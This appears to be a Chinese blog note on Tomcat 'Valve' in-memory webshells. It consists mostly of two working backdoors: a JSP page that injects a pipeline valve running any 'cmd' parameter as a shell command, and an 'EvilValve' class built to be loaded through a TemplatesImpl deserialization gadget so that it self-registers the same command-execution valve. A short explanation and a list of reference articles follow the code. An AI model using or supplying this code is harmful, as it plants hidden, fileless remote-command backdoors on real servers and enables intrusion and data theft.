<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
try {
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

ValveBase valve = new ValveBase() {
@Override
public void invoke(Request request, Response response){
try{
String cmd = request.getParameter("cmd");
if(cmd != null){
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
}
this.getNext().invoke(request, response);
}catch(Exception e){
}

}
};
standardContext.getPipeline().addValve(valve);
response.getWriter().write("Success");
} catch (Exception e) {
e.printStackTrace();
}
%>

无文件内存马

网上全是继承ValveBase类,但是如果是反序列化要满足TemplatesImpl的加载,需要继承AbstractTranslet,但又不能继承多个类,那么就需要使用接口了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;

import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;

public class EvilValve extends AbstractTranslet implements Valve {
protected Valve next;
static {
try {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
standardContext.getPipeline().addValve(new EvilValve());
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public Valve getNext() {
return this.next;
}

@Override
public void setNext(Valve valve) {
this.next = valve;
}

@Override
public void backgroundProcess() {
}

@Override
public void invoke(Request request, Response response) {
try {
String cmd = request.getParameter("cmd");
if (cmd != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
}
this.getNext().invoke(request, response);
} catch (Exception e) {
}
}

@Override
public boolean isAsyncSupported() {
return false;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

参考:
Tomcat-Valve型内存马
Tomcat容器攻防笔记之Valve内存马出世
Tomcat之Valve内存马
『Java安全』Tomcat内存马_动态注册Valve内存马_管道Pipeline内存马

Tomcat内存马可参考文章:
https://github.com/ce-automne/TomcatMemShell
深入浅出内存马(一)
JSP内存马研究
Tomcat 内存马分析及检测
JSP Webshell那些事 – 攻击篇(下)
Java内存马攻防实战–攻击基础篇
JavaWeb 内存马一周目通关攻略